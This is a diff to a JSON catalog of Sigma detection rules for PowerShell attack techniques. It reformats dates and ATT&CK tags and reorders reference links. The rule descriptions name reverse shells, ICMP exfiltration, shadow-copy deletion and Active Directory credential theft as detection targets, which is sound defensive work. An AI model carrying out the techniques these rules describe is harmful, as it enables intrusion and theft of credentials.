"Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -74339,7 +74445,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -74368,7 +74474,7 @@ "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/17", + "creation_date": "2022-11-17", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], @@ -74377,8 +74483,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_discovery_get_aduser.yml" ], "tags": [ @@ -74402,7 +74508,7 @@ "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/26", + "creation_date": "2022-10-26", "falsepositive": [ "Unknown" ], @@ -74411,10 +74517,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://youtu.be/5mqid-7zp8k?t=2481", "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" ], "tags": [ @@ -74428,7 +74534,7 @@ "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/13", + "creation_date": "2021-12-13", "falsepositive": [ "Unknown" ], @@ -74461,7 +74567,7 @@ "description": "Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts", "meta": { "author": "frack113", - "creation_date": "2023/01/08", + "creation_date": "2023-01-08", "falsepositive": [ "Unknown" ], @@ -74474,7 +74580,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_set_alias.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1027", "attack.t1059.001" @@ -74503,7 +74609,7 @@ "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", "meta": { "author": "frack113", - "creation_date": "2021/08/19", + "creation_date": "2021-08-19", "falsepositive": [ "Unknown" ], @@ -74517,7 +74623,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.003" ] }, @@ -74537,7 +74643,7 @@ "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -74550,7 +74656,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -74579,7 +74685,7 @@ "description": "Detects use of WinAPI functions in PowerShell scripts", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Nikita Nazarov, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Unknown" ], @@ -74620,7 +74726,7 @@ "description": "Detects keywords from well-known PowerShell exploitation frameworks", "meta": { "author": "Sean Metcalf (source), Florian Roth (Nextron Systems)", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Depending on the scripts, this rule might require some initial tuning to fit the environment" ], @@ -74653,7 +74759,7 @@ "description": "Detects the execution of powershell scripts with calls to the \"Start-NetEventSession\" cmdlet. Which allows an attacker to start event and packet capture for a network event session.\nAdversaries may attempt to capture network to gather information over the course of an operation.\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.\n", "meta": { "author": "frack113", - "creation_date": "2024/05/12", + "creation_date": "2024-05-12", "falsepositive": [ "Legitimate network diagnostic scripts." ], @@ -74663,12 +74769,12 @@ "logsource.product": "windows", "refs": [ "https://github.com/forgottentq/powershell/blob/9e616363d497143dc955c4fdce68e5c18d28a6cb/captureWindows-Endpoint.ps1#L13", - "https://github.com/redcanaryco/atomic-red-team/blob/5f866ca4517e837c4ea576e7309d0891e78080a8/atomics/T1040/T1040.md#atomic-test-16---powershell-network-sniffing", "https://github.com/0xsyr0/Awesome-Cybersecurity-Handbooks/blob/7b8935fe4c82cb64d61343de1a8b2e38dd968534/handbooks/10_post_exploitation.md", + "https://github.com/redcanaryco/atomic-red-team/blob/5f866ca4517e837c4ea576e7309d0891e78080a8/atomics/T1040/T1040.md#atomic-test-16---powershell-network-sniffing", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_packet_capture.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.discovery", "attack.t1040" ] @@ -74689,7 +74795,7 @@ "description": "Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "The same functionality can be implemented by admin scripts, correlate with name and creator" ], @@ -74698,8 +74804,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://www.fortypoundhead.com/showcontent.asp?artid=24022", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_resolve_list_of_ip_from_file.yml" ], "tags": [ @@ -74723,7 +74829,7 @@ "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Unknown" ], @@ -74732,9 +74838,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" ], "tags": [ @@ -74758,7 +74864,7 @@ "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/16", + "creation_date": "2020-10-16", "falsepositive": [ "Legitimate administration activities" ], @@ -74767,8 +74873,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" ], "tags": [ @@ -74792,7 +74898,7 @@ "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", "meta": { "author": "frack113", - "creation_date": "2022/01/19", + "creation_date": "2022-01-19", "falsepositive": [ "Legitimate administrative script" ], @@ -74825,7 +74931,7 @@ "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n", "meta": { "author": "frack113", - "creation_date": "2021/12/30", + "creation_date": "2021-12-30", "falsepositive": [ "Legitimate administrative script" ], @@ -74858,7 +74964,7 @@ "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/21", + "creation_date": "2022-06-21", "falsepositive": [ "Legitimate administration scripts" ], @@ -74881,7 +74987,7 @@ "description": "Detects PowerShell scripts to set the ACL to a file in the Windows folder", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/18", + "creation_date": "2023-07-18", "falsepositive": [ "Unknown" ], @@ -74890,12 +74996,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1", + "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_acl_susp_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222" ] }, @@ -74915,7 +75021,7 @@ "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "meta": { "author": "frack113", - "creation_date": "2021/12/26", + "creation_date": "2021-12-26", "falsepositive": [ "Unknown" ], @@ -74948,7 +75054,7 @@ "description": "Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework", "meta": { "author": "Florian Roth (Nextron Systems), Perez Diego (@darkquassar), Tuan Le (NCSGroup)", - "creation_date": "2019/02/11", + "creation_date": "2019-02-11", "falsepositive": [ "Unknown" ], @@ -74957,10 +75063,10 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", - "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", - "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", + "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", + "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" ], "tags": [ @@ -74984,7 +75090,7 @@ "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", "meta": { "author": "Bartlomiej Czyz @bczyz1, oscd.community", - "creation_date": "2020/10/10", + "creation_date": "2020-10-10", "falsepositive": [ "Legitimate usage of System.Net.NetworkInformation.Ping class" ], @@ -75017,7 +75123,7 @@ "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/16", + "creation_date": "2022-09-16", "falsepositive": [ "Unknown" ], @@ -75030,7 +75136,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562", "attack.execution", "attack.t1059" @@ -75059,7 +75165,7 @@ "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/17", + "creation_date": "2022-10-17", "falsepositive": [ "Rare intended use of hidden services", "Rare FP could occur due to the non linearity of the ScriptBlockText log" @@ -75069,14 +75175,14 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -75096,7 +75202,7 @@ "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/23", + "creation_date": "2022-01-23", "falsepositive": [ "Legitimate administrative script" ], @@ -75110,7 +75216,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1571" ] }, @@ -75130,7 +75236,7 @@ "description": "Detects creation of a local user via PowerShell", "meta": { "author": "@ROxPinTeddy", - "creation_date": "2020/04/11", + "creation_date": "2020-04-11", "falsepositive": [ "Legitimate user creation" ], @@ -75172,7 +75278,7 @@ "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", "meta": { "author": "Sami Ruohonen", - "creation_date": "2018/07/24", + "creation_date": "2018-07-24", "falsepositive": [ "Unknown" ], @@ -75181,12 +75287,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "http://www.powertheshell.com/ntfsstreams/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://web.archive.org/web/20220614030603/http://www.powertheshell.com/ntfsstreams/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004", "attack.execution", "attack.t1059.001" @@ -75215,7 +75321,7 @@ "description": "Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.", "meta": { "author": "Bhabesh Raj", - "creation_date": "2021/05/18", + "creation_date": "2021-05-18", "falsepositive": [ "Unknown" ], @@ -75225,9 +75331,9 @@ "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=2277", - "https://thedfirreport.com/2020/10/08/ryuks-return", "https://powersploit.readthedocs.io/en/stable/Recon/README", "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", + "https://thedfirreport.com/2020/10/08/ryuks-return", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" ], "tags": [ @@ -75251,7 +75357,7 @@ "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Unknown" ], @@ -75284,7 +75390,7 @@ "description": "Detect use of X509Enrollment", "meta": { "author": "frack113", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Legitimate administrative script" ], @@ -75293,13 +75399,13 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", - "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_x509enrollment.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -75319,7 +75425,7 @@ "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", "meta": { "author": "Ensar Şamil, @sblmsrsn, OSCD Community", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "App-V clients" ], @@ -75332,7 +75438,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -75352,7 +75458,7 @@ "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", "meta": { "author": "frack113", - "creation_date": "2022/02/01", + "creation_date": "2022-02-01", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -75361,12 +75467,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.005" ] }, @@ -75386,7 +75492,7 @@ "description": "Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -75399,7 +75505,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_rem_mp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -75419,7 +75525,7 @@ "description": "Detects usage of the \"Get-AdComputer\" to enumerate Computers or properties within Active Directory.", "meta": { "author": "frack113", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Unknown" ], @@ -75428,9 +75534,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer", - "https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1087.002/T1087.002.md", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1087.002/T1087.002.md", + "https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adcomputer.yml" ], "tags": [ @@ -75462,7 +75568,7 @@ "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n", "meta": { "author": "frack113", - "creation_date": "2021/08/03", + "creation_date": "2021-08-03", "falsepositive": [ "Legitimate admin script" ], @@ -75471,12 +75577,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", "https://www.offensive-security.com/metasploit-unleashed/timestomp/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.006" ] }, @@ -75496,7 +75602,7 @@ "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", "meta": { "author": "frack113", - "creation_date": "2022/01/12", + "creation_date": "2022-01-12", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -75510,7 +75616,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -75530,7 +75636,7 @@ "description": "Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/04", + "creation_date": "2022-10-04", "falsepositive": [ "Unlikely" ], @@ -75563,7 +75669,7 @@ "description": "Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.\n", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2023/12/04", + "creation_date": "2023-12-04", "falsepositive": [ "As the script block is a blob of text. False positive may occur with scripts that contain the keyword as a reference or simply use it for detection." ], @@ -75572,19 +75678,19 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/", - "https://github.com/S3cur3Th1sSh1t/WinPwn", + "https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team", "https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841", + "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md", - "https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team", + "https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_winpwn.yml" ], "tags": [ - "attack.credential_access", - "attack.defense_evasion", + "attack.credential-access", + "attack.defense-evasion", "attack.discovery", "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1046", "attack.t1082", "attack.t1106", @@ -75660,7 +75766,7 @@ "description": "Detects usage of the \"Add-WindowsCapability\" cmdlet to add Windows capabilities. Notable capabilities could be \"OpenSSH\" and others.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Legitimate usage of the capabilities by administrators or users. Add additional filters accordingly." ], @@ -75684,7 +75790,7 @@ "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/25", + "creation_date": "2021-11-25", "falsepositive": [ "Unknown" ], @@ -75693,13 +75799,13 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", - "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", "https://www.shellhacks.com/clear-history-powershell/", + "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", + "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070", "attack.t1070.003" ] @@ -75727,7 +75833,7 @@ "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "meta": { "author": "frack113", - "creation_date": "2022/02/01", + "creation_date": "2022-02-01", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -75741,7 +75847,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.005" ] }, @@ -75761,7 +75867,7 @@ "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/17", + "creation_date": "2022-11-17", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], @@ -75771,8 +75877,8 @@ "logsource.product": "windows", "refs": [ "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf", - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_computer_discovery_get_adcomputer.yml" ], "tags": [ @@ -75796,7 +75902,7 @@ "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Administrators or Power users may remove their shares via cmd line" ], @@ -75809,7 +75915,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.005" ] }, @@ -75829,7 +75935,7 @@ "description": "Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/05", + "creation_date": "2023-01-05", "falsepositive": [ "Unknown" ], @@ -75843,8 +75949,8 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "2f77047c-e6e9-4c11-b088-a3de399524cd", @@ -75854,7 +75960,7 @@ "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/15", + "creation_date": "2021-12-15", "falsepositive": [ "Unknown" ], @@ -75887,7 +75993,7 @@ "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "meta": { "author": "frack113", - "creation_date": "2021/07/28", + "creation_date": "2021-07-28", "falsepositive": [ "Unknown" ], @@ -75920,7 +76026,7 @@ "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "meta": { "author": "Tim Rauch", - "creation_date": "2022/09/20", + "creation_date": "2022-09-20", "falsepositive": [ "Unknown" ], @@ -75954,7 +76060,7 @@ "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n", "meta": { "author": "Borna Talebi", - "creation_date": "2021/09/14", + "creation_date": "2021-09-14", "falsepositive": [ "Unknown" ], @@ -75963,8 +76069,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", 